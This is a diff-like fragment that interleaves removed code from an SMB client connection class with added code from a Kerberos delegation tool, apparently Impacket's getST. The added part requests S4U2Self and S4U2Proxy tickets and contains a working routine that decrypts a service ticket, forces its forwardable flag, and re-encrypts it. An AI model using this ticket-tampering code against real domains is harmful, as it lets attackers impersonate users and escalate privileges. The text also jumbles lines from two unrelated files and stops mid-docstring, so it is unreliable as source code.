nthash = '', ntlmFallback = True): - """ - logins into the target system - - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. Only available for SMBv1 - - :return: None - :raise SessionError: if error - """ - self._ntlmFallback = ntlmFallback - try: - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback) - else: - return self._SMBConnection.login(user, password, domain, lmhash, nthash) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, - TGS=None, useCache=True): - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - - :return: None - :raise SessionError: if error - """ - import os - from impacket.krb5.ccache import CCache - from impacket.krb5.kerberosv5 import KerberosError - from impacket.krb5 import constants - - self._kdcHost = kdcHost - self._useCache = useCache - - if TGT is not None or TGS is not None: - useCache = False - - if useCache is True: - try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - except: - # No cache present - pass +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import os +import random +import struct +import sys +from binascii import hexlify, unhexlify +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.constants import TicketFlags, encodeFlags +from impacket.krb5.kerberosv5 import getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.ntlm import compute_nthash +from impacket.winregistry import hexdump + + +class GETST: + def __init__(self, target, password, domain, options): + self.__password = password + self.__user = target + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__options = options + self.__kdcHost = options.dc_ip + self.__force_forwardable = options.force_forwardable + self.__additional_ticket = options.additional_ticket + self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy + self.__alt_service = options.altservice + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def saveTicket(self, ticket, sessionKey): + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() + + ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__alt_service != None: + self.substitute_sname(ccache) + ccache.saveFile(self.__saveFileName + '.ccache') + + def substitute_sname(self, ccache): + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + if len(sname.split(b'@')[0].split(b'/')) == 2: + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') else: - LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) - # retrieve domain information from CCache file if needed - if domain == '': - domain = ccache.principal.realm['data'].decode('utf-8') - LOG.debug('Domain retrieved from CCache: %s' % domain) - - principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) - creds = ccache.getCredential(principal) - if creds is None: - # Let's try for the TGT and go from there - principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - TGT = creds.toTGT() - LOG.debug('Using TGT from cache') - else: - LOG.debug("No valid credentials found in cache. ") + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in self.__alt_service: + new_service_realm = self.__alt_service.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('@')[0].split('/')[1] + new_service_class = self.__alt_service.split('@')[0].split('/')[0] else: - TGS = creds.toTGS(principal) - LOG.debug('Using TGS from cache') - - # retrieve user information from CCache file if needed - if user == '' and creds is not None: - user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') - LOG.debug('Username retrieved from CCache: %s' % user) - elif user == '' and len(ccache.principal.components) > 0: - user = ccache.principal.components[0]['data'].decode('utf-8') - LOG.debug('Username retrieved from CCache: %s' % user) - - while True: - try: - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, - TGT, TGS) - return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, - TGS) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - except KerberosError as e: - if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: - # We might face this if the target does not support AES - # So, if that's the case we'll force using RC4 by converting - # the password to lm/nt hashes and hope for the best. If that's already - # done, byebye. - if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None: - lmhash = compute_lmhash(password) - nthash = compute_nthash(password) - else: - raise e + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('/')[1] + new_service_class = self.__alt_service.split('/')[0] else: - raise e - - def isGuestSession(self): - try: - return self._SMBConnection.isGuestSession() - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def logoff(self): - try: - return self._SMBConnection.logoff() - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - - def connectTree(self,share): - if self.getDialect() == smb.SMB_DIALECT: - # If we already have a UNC we do nothing. - if ntpath.ismount(share) is False: - # Else we build it - share = ntpath.basename(share) - share = '\\\\' + self.getRemoteHost() + '\\' + share - try: - return self._SMBConnection.connect_tree(share) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - - def disconnectTree(self, treeId): - try: - return self._SMBConnection.disconnect_tree(treeId) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - - def listShares(self): - """ - get a list of available shares at the connected target - - :return: a list containing dict entries for each share - :raise SessionError: if error - """ - # Get the shares through RPC - from impacket.dcerpc.v5 import transport, srvs - rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc', - smb_connection=self) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - resp = srvs.hNetrShareEnum(dce, 1) - return resp['InfoStruct']['ShareInfo']['Level1']['Buffer'] - - def listPath(self, shareName, path, password = None): - """ - list the files/directories under shareName/path - - :param string shareName: a valid name for the share where the files/directories are going to be searched - :param string path: a base path relative to shareName - :param string password: the password for the share - - :return: a list containing smb.SharedFile items - :raise SessionError: if error - """ - - try: - return self._SMBConnection.list_path(shareName, path, password) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, - shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, - creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, - fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): - """ - Creates a remote file - - :param HANDLE treeId: a valid handle for the share where the file is to be created - :param string pathName: the path name of the file to create - :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx - :param int shareMode: Specifies the sharing mode for the open. - :param int creationOption: Specifies the options to be applied when creating or opening the file. - :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name - field already exists. - :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. - :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. - :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. - :param int oplockLevel: The requested oplock level - :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. - - :return: a valid file descriptor - :raise SessionError: if error - """ - if self.getDialect() == smb.SMB_DIALECT: - _, flags2 = self._SMBConnection.get_flags() - - pathName = pathName.replace('/', '\\') - packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName - - ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() - ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) - ntCreate['Parameters']['FileNameLength']= len(packetPathName) - ntCreate['Parameters']['AccessMask'] = desiredAccess - ntCreate['Parameters']['FileAttributes']= fileAttributes - ntCreate['Parameters']['ShareAccess'] = shareMode - ntCreate['Parameters']['Disposition'] = creationDisposition - ntCreate['Parameters']['CreateOptions'] = creationOption - ntCreate['Parameters']['Impersonation'] = impersonationLevel - ntCreate['Parameters']['SecurityFlags'] = securityFlags - ntCreate['Parameters']['CreateFlags'] = 0x16 - ntCreate['Data']['FileName'] = packetPathName - - if flags2 & smb.SMB.FLAGS2_UNICODE: - ntCreate['Data']['Pad'] = 0x0 - - if createContexts is not None: - LOG.error("CreateContexts not supported in SMB1") - - try: - return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.info('Saving ticket in %s.ccache' % new_sname.replace("/", "_")) + ccache.saveFile(new_sname.replace("/", "_") + '.ccache') + def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): + if not os.path.isfile(additional_ticket_path): + logging.error("Ticket %s doesn't exist" % additional_ticket_path) + exit(0) else: - try: - return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, - creationDisposition, fileAttributes, impersonationLevel, - securityFlags, oplockLevel, createContexts) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ, - creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, - fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): - """ - opens a remote file - - :param HANDLE treeId: a valid handle for the share where the file is to be opened - :param string pathName: the path name to open - :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx - :param int shareMode: Specifies the sharing mode for the open. - :param int creationOption: Specifies the options to be applied when creating or opening the file. - :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name - field already exists. - :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. - :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. - :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. - :param int oplockLevel: The requested oplock level - :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. - - :return: a valid file descriptor - :raise SessionError: if error - """ - - if self.getDialect() == smb.SMB_DIALECT: - _, flags2 = self._SMBConnection.get_flags() - - pathName = pathName.replace('/', '\\') - packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName - - ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() - ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) - ntCreate['Parameters']['FileNameLength']= len(packetPathName) - ntCreate['Parameters']['AccessMask'] = desiredAccess - ntCreate['Parameters']['FileAttributes']= fileAttributes - ntCreate['Parameters']['ShareAccess'] = shareMode - ntCreate['Parameters']['Disposition'] = creationDisposition - ntCreate['Parameters']['CreateOptions'] = creationOption - ntCreate['Parameters']['Impersonation'] = impersonationLevel - ntCreate['Parameters']['SecurityFlags'] = securityFlags - ntCreate['Parameters']['CreateFlags'] = 0x16 - ntCreate['Data']['FileName'] = packetPathName - - if flags2 & smb.SMB.FLAGS2_UNICODE: - ntCreate['Data']['Pad'] = 0x0 - - if createContexts is not None: - LOG.error("CreateContexts not supported in SMB1") - - try: - return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - else: - try: - return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, - creationDisposition, fileAttributes, impersonationLevel, - securityFlags, oplockLevel, createContexts) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def writeFile(self, treeId, fileId, data, offset=0): - """ - writes data to a file - - :param HANDLE treeId: a valid handle for the share where the file is to be written - :param HANDLE fileId: a valid handle for the file - :param string data: buffer with the data to write - :param integer offset: offset where to start writing the data - - :return: amount of bytes written - :raise SessionError: if error - """ - try: - return self._SMBConnection.writeFile(treeId, fileId, data, offset) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True): - """ - reads data from a file - - :param HANDLE treeId: a valid handle for the share where the file is to be read - :param HANDLE fileId: a valid handle for the file to be read - :param integer offset: offset where to start reading the data - :param integer bytesToRead: amount of bytes to attempt reading. If None, it will attempt to read Dialect['MaxBufferSize'] bytes. - :param boolean singleCall: If True it won't attempt to read all bytesToRead. It will only make a single read call - - :return: the data read. Length of data read is not always bytesToRead - :raise SessionError: if error - """ - finished = False - data = b'' - maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize'] - if bytesToRead is None: - bytesToRead = maxReadSize - remainingBytesToRead = bytesToRead - while not finished: - if remainingBytesToRead > maxReadSize: - toRead = maxReadSize - else: - toRead = remainingBytesToRead - try: - bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead) - except (smb.SessionError, smb3.SessionError) as e: - if e.get_error_code() == nt_errors.STATUS_END_OF_FILE: - toRead = b'' - break + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) + ccache = CCache.loadFile(additional_ticket_path) + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + + tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug('TGS_REP') + print(tgs.prettyPrint()) + + if self.__force_forwardable: + # Convert hashes to binary form, just in case we're receiving strings + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + # Compute NTHash and AESKey if they're not provided in arguments + if self.__password != '' and self.__domain != '' and self.__user != '': + if not nthash: + nthash = compute_nthash(self.__password) + if logging.getLogger().level == logging.DEBUG: + logging.debug('NTHash') + print(hexlify(nthash).decode()) + if not aesKey: + salt = self.__domain.upper() + self.__user + aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents + if logging.getLogger().level == logging.DEBUG: + logging.debug('AESKey') + print(hexlify(aesKey).decode()) + + # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys + cipherText = tgs['ticket']['enc-part']['cipher'] + + # Check which cipher was used to encrypt the ticket. It's not always the same + # This determines which of our keys we should use for decryption/re-encryption + newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] + if newCipher.enctype == Enctype.RC4: + key = Key(newCipher.enctype, nthash) else: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - data += bytesRead - if len(data) >= bytesToRead: - finished = True - elif len(bytesRead) == 0: - # End of the file achieved. - finished = True - elif singleCall is True: - finished = True - else: - offset += len(bytesRead) - remainingBytesToRead -= len(bytesRead) - - return data + key = Key(newCipher.enctype, aesKey) + + # Decrypt and decode the ticket + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + plainText = newCipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Print the flags in the ticket before modification + logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket from S4U2self is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Customize flags the forwardable flag is the only one that really matters + logging.info('\tForcing the service ticket to be forwardable') + # convert to string of bits + flagBits = encTicketPart['flags'].asBinary() + # Set the forwardable flag. Awkward binary string insertion + flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] + # Overwrite the value with the new bits + encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags + + logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket now is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Re-encode and re-encrypt the ticket + # Again, Key Usage 2 + encodedEncTicketPart = encoder.encode(encTicketPart) + cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) + + # put it back in the TGS + tgs['ticket']['enc-part']['cipher'] = cipherText + + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) + + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - def closeFile(self, treeId, fileId): - """ - closes a file handle + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - :param HANDLE treeId: a valid handle for the share where the file is to be opened - :param HANDLE fileId: a valid handle for the file/directory to be closed + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.close(treeId, fileId) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - def deleteFile(self, shareName, pathName): - """ - removes a file + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - :param string shareName: a valid name for the share where the file is to be deleted - :param string pathName: the path name to remove + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.remove(shareName, pathName) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - def queryInfo(self, treeId, fileId): - """ - queries basic information about an opened file/directory + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - :param HANDLE treeId: a valid handle for the share where the file is to be queried - :param HANDLE fileId: a valid handle for the file/directory to be queried + cipherText = tgs['enc-part']['cipher'] - :return: a smb.SMBQueryFileStandardInfo structure. - :raise SessionError: if error - """ - try: - if self.getDialect() == smb.SMB_DIALECT: - res = self._SMBConnection.query_file_info(treeId, fileId) - else: - res = self._SMBConnection.queryInfo(treeId, fileId) - return smb.SMBQueryFileStandardInfo(res) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - def createDirectory(self, shareName, pathName ): - """ - creates a directory + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - :param string shareName: a valid name for the share where the directory is to be created - :param string pathName: the path name or the directory to create + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.mkdir(shareName, pathName) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - def deleteDirectory(self, shareName, pathName): - """ - deletes a directory + return r, cipher, sessionKey, newSessionKey - :param string shareName: a valid name for the share where directory is to be deleted - :param string pathName: the path name or the directory to delete + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.rmdir(shareName, pathName) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - def waitNamedPipe(self, treeId, pipeName, timeout = 5): - """ - waits for a named pipe + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) - :param HANDLE treeId: a valid handle for the share where the pipe is - :param string pipeName: the pipe name to check - :param integer timeout: time to wait for an answer + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.waitNamedPipe(treeId, pipeName, timeout = timeout) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def transactNamedPipe(self, treeId, fileId, data, waitAnswer = True): - """ - writes to a named pipe using a transaction command - - :param HANDLE treeId: a valid handle for the share where the pipe is - :param HANDLE fileId: a valid handle for the pipe - :param string data: buffer with the data to write - :param boolean waitAnswer: whether or not to wait for an answer - - :return: None - :raise SessionError: if error - """ - try: - return self._SMBConnection.TransactNamedPipe(treeId, fileId, data, waitAnswer = waitAnswer) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - def transactNamedPipeRecv(self): - """ - reads from a named pipe using a transaction command + seq_set(authenticator, 'cname', clientName.components_to_asn1) - :return: data read - :raise SessionError: if error - """ - try: - return self._SMBConnection.TransactNamedPipeRecv() - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def writeNamedPipe(self, treeId, fileId, data, waitAnswer = True): - """ - writes to a named pipe - - :param HANDLE treeId: a valid handle for the share where the pipe is - :param HANDLE fileId: a valid handle for the pipe - :param string data: buffer with the data to write - :param boolean waitAnswer: whether or not to wait for an answer - - :return: None - :raise SessionError: if error - """ - try: - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.write_andx(treeId, fileId, data, wait_answer = waitAnswer, write_pipe_mode = True) - else: - return self.writeFile(treeId, fileId, data, 0) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - def readNamedPipe(self,treeId, fileId, bytesToRead = None ): - """ - read from a named pipe + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') - :param HANDLE treeId: a valid handle for the share where the pipe resides - :param HANDLE fileId: a valid handle for the pipe - :param integer bytesToRead: amount of data to read + encodedAuthenticator = encoder.encode(authenticator) - :return: None - :raise SessionError: if error - """ + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - try: - return self.readFile(treeId, fileId, bytesToRead = bytesToRead, singleCall = True) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + encodedApReq = encoder.encode(apReq) - def getFile(self, shareName, pathName, callback, shareAccessMode = None): - """ - downloads a file + tgsReq = TGS_REQ() - :param string shareName: name for the share where the file is to be retrieved - :param string pathName: the path name to retrieve - :param callback callback: function called to write the contents read. - :param int shareAccessMode: - - :return: None - :raise SessionError: if error - """ - try: - if shareAccessMode is None: - # if share access mode is none, let's the underlying API deals with it - return self._SMBConnection.retr_file(shareName, pathName, callback) - else: - return self._SMBConnection.retr_file(shareName, pathName, callback, shareAccessMode=shareAccessMode) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def putFile(self, shareName, pathName, callback, shareAccessMode = None): - """ - uploads a file - - :param string shareName: name for the share where the file is to be uploaded - :param string pathName: the path name to upload - :param callback callback: function called to read the contents to be written. - :param int shareAccessMode: - - :return: None - :raise SessionError: 